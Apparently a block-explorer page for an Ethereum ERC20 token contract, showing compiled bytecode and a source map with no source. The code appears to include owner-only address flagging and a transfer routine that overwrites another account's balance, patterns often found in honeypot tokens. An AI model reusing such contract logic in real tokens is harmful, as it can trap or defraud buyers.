000000000000000000000000600052601160045260246000fd5b600061204882611c90565b915061205383611c90565b925082820190508082111561206b5761206a61200e565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120a7602083611b81565b91506120b282612071565b602082019050919050565b600060208201905081810360008301526120d68161209a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061211782611c90565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036121495761214861200e565b5b600182019050919050565b600061215f82611c90565b915061216a83611c90565b92508282039050818111156121825761218161200e565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121e4602583611b81565b91506121ef82612188565b604082019050919050565b60006020820190508181036000830152612213816121d7565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612276602383611b81565b91506122818261221a565b604082019050919050565b600060208201905081810360008301526122a581612269565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506122ea81611c64565b92915050565b60006020828403121561230657612305611c28565b5b6000612314848285016122db565b91505092915050565b6000819050919050565b6000819050919050565b600061234c6123476123428461231d565b612327565b611c90565b9050919050565b61235c81612331565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61239781611c52565b82525050565b60006123a9838361238e565b60208301905092915050565b6000602082019050919050565b60006123cd82612362565b6123d7818561236d565b93506123e28361237e565b8060005b838110156124135781516123fa888261239d565b9750612405836123b5565b9250506001810190506123e6565b5085935050505092915050565b600060a0820190506124356000830188611d3c565b6124426020830187612353565b818103604083015261245481866123c2565b90506124636060830185611ef1565b6124706080830184611d3c565b9695505050505050565b600060408201905061248f6000830185611ef1565b61249c6020830184611ef1565b9392505050565b60006124ae82611c90565b91506124b983611c90565b92508282026124c781611c90565b915082820484148315176124de576124dd61200e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061251f82611c90565b915061252a83611c90565b92508261253a576125396124e5565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006125a1602183611b81565b91506125ac82612545565b604082019050919050565b600060208201905081810360008301526125d081612594565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600061260d601a83611b81565b9150612618826125d7565b602082019050919050565b6000602082019050818103600083015261263c81612600565b905091905056fea2646970667358221220e39473f8609b59f3c24de25dfa9d669239b900aceebd0c0a964fc16536b4700f64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610335578063a9059cbb14610365578063c62b079514610395578063c9525da1146103c5578063dd62ed3e146103e15761012c565b806370a082311461028f578063715018a6146102bf5780638da5cb5b146102c957806395d89b41146102e75780639601f96c146103055761012c565b806332424aa3116100f457806332424aa3146101eb57806339509351146102095780633eaaf86b146102395780635932ead1146102575780636e9602e6146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610411565b6040516101469190611c06565b60405180910390f35b61016960048036038101906101649190611cc6565b6104a3565b6040516101769190611d21565b60405180910390f35b6101876104ba565b6040516101949190611d4b565b60405180910390f35b6101b760048036038101906101b29190611d66565b6104c4565b6040516101c49190611d21565b60405180910390f35b6101d5610565565b6040516101e29190611d4b565b60405180910390f35b6101f361056f565b6040516102009190611d4b565b60405180910390f35b610223600480360381019061021e9190611cc6565b610575565b6040516102309190611d21565b60405180910390f35b610241610613565b60405161024e9190611d4b565b60405180910390f35b610271600480360381019061026c9190611de5565b610619565b005b61028d60048036038101906102889190611e77565b6106ab565b005b6102a960048036038101906102a49190611ec4565b6107c4565b6040516102b69190611d4b565b60405180910390f35b6102c761080d565b005b6102d1610940565b6040516102de9190611f00565b60405180910390f35b6102ef610969565b6040516102fc9190611c06565b60405180910390f35b61031f600480360381019061031a9190611f1b565b6109fb565b60405161032c9190611d21565b60405180910390f35b61034f600480360381019061034a9190611cc6565b610a49565b60405161035c9190611d21565b60405180910390f35b61037f600480360381019061037a9190611cc6565b610b70565b60405161038c9190611d21565b60405180910390f35b6103af60048036038101906103aa9190611f5b565b610b87565b6040516103bc9190611d21565b60405180910390f35b6103df60048036038101906103da9190611ec4565b610d7d565b005b6103fb60048036038101906103f69190611f1b565b610e36565b6040516104089190611d4b565b60405180910390f35b60606009805461042090611fdd565b80601f016020809104026020016040519081016040528092919081815260200182805461044c90611fdd565b80156104995780601f1061046e57610100808354040283529160200191610499565b820191906000526020600020905b81548152906001019060200180831161047c57829003601f168201915b5050505050905090565b60006104b0338484610ebd565b6001905092915050565b6000600654905090565b60006104d1848484611086565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055a57600080fd5b600190509392505050565b6000600554905090565b60055481565b6000610609338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610604919061203d565b610ebd565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16610638610940565b73ffffffffffffffffffffffffffffffffffffffff161461068e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610685906120bd565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166106ca610940565b73ffffffffffffffffffffffffffffffffffffffff1614610720576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610717906120bd565b60405180910390fd5b60005b828290508110156107bf576001806000858585818110610746576107456120dd565b5b905060200201602081019061075b9190611ec4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b79061210c565b915050610723565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661082c610940565b73ffffffffffffffffffffffffffffffffffffffff1614610882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610879906120bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a805461097890611fdd565b80601f01602080910402602001604051908101604052809291908181526020018280546109a490611fdd565b80156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b6000610a06826112cc565b610a11576000610a41565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ad457600080fd5b610b66338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b619190612154565b610ebd565b6001905092915050565b6000610b7d338484611086565b6001905092915050565b600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610c2e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610c4a5750600260149054906101000a900460ff16155b15610cce578373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ccd5783600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001915050610d76565b5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610d725750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9150505b9392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610d9c610940565b73ffffffffffffffffffffffffffffffffffffffff1614610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de9906120bd565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f23906121fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f929061228c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110799190611d4b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f857600080fd5b61110283836109fb565b15611116576111118183611322565b6112c7565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561116257600080fd5b600061116f8484846115ec565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bc9190612154565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261120b9190612154565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611259919061203d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112bd9190611d4b565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61134f30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ebd565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156113b0576113af6122ac565b5b6040519080825280602002602001820160405280156113de5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff0219169083151502179055503081600081518110611411576114106120dd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114dc91906122f0565b816001815181106114f0576114ef6120dd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e4261157a919061203d565b6040518663ffffffff1660e01b815260040161159a959493929190612420565b600060405180830381600087803b1580156115b457600080fd5b505af11580156115c8573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600090506115fc856116a6565b60036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166b85856116f0565b1561169b57611698606461168a600754866118a090919063ffffffff16565b61191a90919063ffffffff16565b90505b809150509392505050565b6000806116b1611978565b90506116e883826116e3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107c4565b611b1b565b915050919050565b60006118988383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611764573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178891906122f0565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611811573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183591906122f0565b6040518363ffffffff1660e01b815260040161185292919061247a565b602060405180830381865afa15801561186f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189391906122f0565b610b87565b905092915050565b60008083036118b25760009050611914565b600082846118c091906124a3565b90508284826118cf9190612514565b1461190f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611906906125b7565b60405180910390fd5b809150505b92915050565b600080821161195e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195590612623565b60405180910390fd5b6000828461196c9190612514565b90508091505092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0b91906122f0565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab891906122f0565b6040518363ffffffff1660e01b8152600401611ad592919061247a565b602060405180830381865afa158015611af2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1691906122f0565b905090565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611b5c57829050611b6b565b8281611b689190612154565b90505b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bb0578082015181840152602081019050611b95565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bd882611b76565b611be28185611b81565b9350611bf2818560208601611b92565b611bfb81611bbc565b840191505092915050565b60006020820190508181036000830152611c208184611bcd565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c5d82611c32565b9050919050565b611c6d81611c52565b8114611c7857600080fd5b50565b600081359050611c8a81611c64565b92915050565b6000819050919050565b611ca381611c90565b8114611cae57600080fd5b50565b600081359050611cc081611c9a565b92915050565b60008060408385031215611cdd57611cdc611c28565b5b6000611ceb85828601611c7b565b9250506020611cfc85828601611cb1565b9150509250929050565b60008115159050919050565b611d1b81611d06565b82525050565b6000602082019050611d366000830184611d12565b92915050565b611d4581611c90565b82525050565b6000602082019050611d606000830184611d3c565b92915050565b600080600060608486031215611d7f57611d7e611c28565b5b6000611d8d86828701611c7b565b9350506020611d9e86828701611c7b565b9250506040611daf86828701611cb1565b9150509250925092565b611dc281611d06565b8114611dcd57600080fd5b50565b600081359050611ddf81611db9565b92915050565b600060208284031215611dfb57611dfa611c28565b5b6000611e0984828501611dd0565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611e3757611e36611e12565b5b8235905067ffffffffffffffff811115611e5457611e53611e17565b5b602083019150836020820283011115611e7057611e6f611e1c565b5b9250929050565b60008060208385031215611e8e57611e8d611c28565b5b600083013567ffffffffffffffff811115611eac57611eab611c2d565b5b611eb885828601611e21565b92509250509250929050565b600060208284031215611eda57611ed9611c28565b5b6000611ee884828501611c7b565b91505092915050565b611efa81611c52565b82525050565b6000602082019050611f156000830184611ef1565b92915050565b60008060408385031215611f3257611f31611c28565b5b6000611f4085828601611c7b565b9250506020611f5185828601611c7b565b9150509250929050565b600080600060608486031215611f7457611f73611c28565b5b6000611f8286828701611c7b565b9350506020611f9386828701611c7b565b9250506040611fa486828701611c7b565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ff557607f821691505b60208210810361200857612007611fae565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061204882611c90565b915061205383611c90565b925082820190508082111561206b5761206a61200e565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120a7602083611b81565b91506120b282612071565b602082019050919050565b600060208201905081810360008301526120d68161209a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061211782611c90565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036121495761214861200e565b5b600182019050919050565b600061215f82611c90565b915061216a83611c90565b92508282039050818111156121825761218161200e565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121e4602583611b81565b91506121ef82612188565b604082019050919050565b60006020820190508181036000830152612213816121d7565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612276602383611b81565b91506122818261221a565b604082019050919050565b600060208201905081810360008301526122a581612269565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506122ea81611c64565b92915050565b60006020828403121561230657612305611c28565b5b6000612314848285016122db565b91505092915050565b6000819050919050565b6000819050919050565b600061234c6123476123428461231d565b612327565b611c90565b9050919050565b61235c81612331565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61239781611c52565b82525050565b60006123a9838361238e565b60208301905092915050565b6000602082019050919050565b60006123cd82612362565b6123d7818561236d565b93506123e28361237e565b8060005b838110156124135781516123fa888261239d565b9750612405836123b5565b9250506001810190506123e6565b5085935050505092915050565b600060a0820190506124356000830188611d3c565b6124426020830187612353565b818103604083015261245481866123c2565b90506124636060830185611ef1565b6124706080830184611d3c565b9695505050505050565b600060408201905061248f6000830185611ef1565b61249c6020830184611ef1565b9392505050565b60006124ae82611c90565b91506124b983611c90565b92508282026124c781611c90565b915082820484148315176124de576124dd61200e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061251f82611c90565b915061252a83611c90565b92508261253a576125396124e5565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006125a1602183611b81565b91506125ac82612545565b604082019050919050565b600060208201905081810360008301526125d081612594565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600061260d601a83611b81565b9150612618826125d7565b602082019050919050565b6000602082019050818103600083015261263c81612600565b905091905056fea2646970667358221220e39473f8609b59f3c24de25dfa9d669239b900aceebd0c0a964fc16536b4700f64736f6c63430008110033

Deployed Bytecode Sourcemap

3555:5120:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5928:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6370:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6165:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8011:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6086:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3764:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4231:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3799:56;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8460:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2753:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6259:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2459:148;;;:::i;:::-;;2242:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6005:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3033:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4448:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7832:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3213:335;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8573:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4074:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5928:71;5967:13;5991:5;5984:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5928:71;:::o;6370:167::-;6453:4;6470:37;6479:10;6491:7;6500:6;6470:8;:37::i;:::-;6525:4;6518:11;;6370:167;;;;:::o;6165:88::-;6220:7;6238:12;;6231:19;;6165:88;:::o;8011:244::-;8115:4;8132:34;8142:4;8148:9;8159:6;8132:9;:34::i;:::-;8218:6;8185:11;:17;8197:4;8185:17;;;;;;;;;;;;;;;:29;8203:10;8185:29;;;;;;;;;;;;;;;;:39;;8177:48;;;;;;8243:4;8236:11;;8011:244;;;;;:::o;6086:73::-;6129:7;6147:9;;6140:16;;6086:73;:::o;3764:28::-;;;;:::o;4231:211::-;4319:4;4336:76;4345:10;4357:7;4401:10;4366:11;:23;4378:10;4366:23;;;;;;;;;;;;;;;:32;4390:7;4366:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;4336:8;:76::i;:::-;4430:4;4423:11;;4231:211;;;;:::o;3799:56::-;;;;:::o;8460:107::-;2386:10;2375:21;;:7;:5;:7::i;:::-;:21;;;2367:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;8551:8:::1;8533:15;;:26;;;;;;;;;;;;;;;;;;8460:107:::0;:::o;2753:174::-;2386:10;2375:21;;:7;:5;:7::i;:::-;:21;;;2367:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2837:6:::1;2832:88;2853:5;;:12;;2849:1;:16;2832:88;;;2904:4;2887::::0;:14:::1;2892:5;;2898:1;2892:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2887:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;2867:3;;;;;:::i;:::-;;;;2832:88;;;;2753:174:::0;;:::o;6259:105::-;6325:7;6343:9;:18;6353:7;6343:18;;;;;;;;;;;;;;;;6336:25;;6259:105;;;:::o;2459:148::-;2386:10;2375:21;;:7;:5;:7::i;:::-;:21;;;2367:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2566:1:::1;2529:40;;2550:6;::::0;::::1;;;;;;;;2529:40;;;;;;;;;;;;2597:1;2580:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2459:148::o:0;2242:87::-;2288:7;2315:6;;;;;;;;;;;2308:13;;2242:87;:::o;6005:75::-;6046:13;6070:7;6063:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6005:75;:::o;3033:174::-;3116:4;3140:20;3146:13;3140:5;:20::i;:::-;:59;;3194:5;3140:59;;;3177:13;3164:26;;:9;:26;;;3140:59;3133:66;;3033:174;;;;:::o;4448:253::-;4529:4;4587:6;4554:11;:23;4566:10;4554:23;;;;;;;;;;;;;;;:29;4578:4;4554:29;;;;;;;;;;;;;;;;:39;;4546:48;;;;;;4605:66;4614:10;4626:4;4664:6;4632:11;:23;4644:10;4632:23;;;;;;;;;;;;;;;:29;4656:4;4632:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;4605:8;:66::i;:::-;4689:4;4682:11;;4448:253;;;;:::o;7832:173::-;7918:4;7935:40;7945:10;7957:9;7968:6;7935:9;:40::i;:::-;7993:4;7986:11;;7832:173;;;;:::o;3213:335::-;3288:4;3305:8;3317:4;:8;3322:2;3317:8;;;;;;;;;;;;;;;;;;;;;;;;;3316:9;:24;;;;;3330:4;:10;3335:4;3330:10;;;;;;;;;;;;;;;;;;;;;;;;;3329:11;3316:24;3305:35;;3355:3;:21;;;;;3363:13;;;;;;;;;;;3362:14;3355:21;3351:148;;;3405:2;3397:10;;:4;:10;;;3393:95;;3440:2;3428:9;;:14;;;;;;;;;;;;;;;;;;3468:4;3461:11;;;;;3393:95;3351:148;3517:4;:8;3522:2;3517:8;;;;;;;;;;;;;;;;;;;;;;;;;3516:9;:24;;;;;3530:4;:10;3535:4;3530:10;;;;;;;;;;;;;;;;;;;;;;;;;3529:11;3516:24;3509:31;;;3213:335;;;;;;:::o;8573:99::-;2386:10;2375:21;;:7;:5;:7::i;:::-;:21;;;2367:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;8656:8:::1;8644:9;;:20;;;;;;;;;;;;;;;;;;8573:99:::0;:::o;4074:151::-;4163:7;4190:11;:18;4202:5;4190:18;;;;;;;;;;;;;;;:27;4209:7;4190:27;;;;;;;;;;;;;;;;4183:34;;4074:151;;;;:::o;6543:346::-;6662:1;6645:19;;:5;:19;;;6637:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6744:1;6725:21;;:7;:21;;;6717:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6827:6;6797:11;:18;6809:5;6797:18;;;;;;;;;;;;;;;:27;6816:7;6797:27;;;;;;;;;;;;;;;:36;;;;6865:7;6849:32;;6858:5;6849:32;;;6874:6;6849:32;;;;;;:::i;:::-;;;;;;;;6543:346;;;:::o;4707:533::-;4820:1;4804:18;;:4;:18;;;4796:27;;;;;;4856:1;4842:16;;:2;:16;;;4834:25;;;;;;4874:20;4885:4;4891:2;4874:10;:20::i;:::-;4870:363;;;4911:16;4916:6;4924:2;4911:4;:16::i;:::-;4870:363;;;4978:9;:15;4988:4;4978:15;;;;;;;;;;;;;;;;4968:6;:25;;4960:34;;;;;;5009:24;5036:25;5044:4;5050:2;5054:6;5036:7;:25::i;:::-;5009:52;;5112:6;5094:9;:15;5104:4;5094:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;5076:9;:15;5086:4;5076:15;;;;;;;;;;;;;;;:42;;;;5159:16;5150:6;:25;;;;:::i;:::-;5133:9;:13;5143:2;5133:13;;;;;;;;;;;;;;;;:42;;;;;;;:::i;:::-;;;;;;;;5210:2;5195:26;;5204:4;5195:26;;;5214:6;5195:26;;;;;;:::i;:::-;;;;;;;;4945:288;4870:363;4707:533;;;:::o;2933:94::-;2985:4;3009;:10;3014:4;3009:10;;;;;;;;;;;;;;;;;;;;;;;;;3002:17;;2933:94;;;:::o;6895:449::-;6956:47;6973:4;6988:7;;;;;;;;;;;6998:4;6956:8;:47::i;:::-;7041:4;7014:9;:24;7032:4;7014:24;;;;;;;;;;;;;;;:31;;;;7056:21;7094:1;7080:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7056:40;;7123:4;7107:13;;:20;;;;;;;;;;;;;;;;;;7156:4;7138;7143:1;7138:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7182:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7172:4;7177:1;7172:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;7207:7;;;;;;;;;;;:58;;;7266:4;7271:1;7273:4;7278;7301:2;7283:15;:20;;;;:::i;:::-;7207:97;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;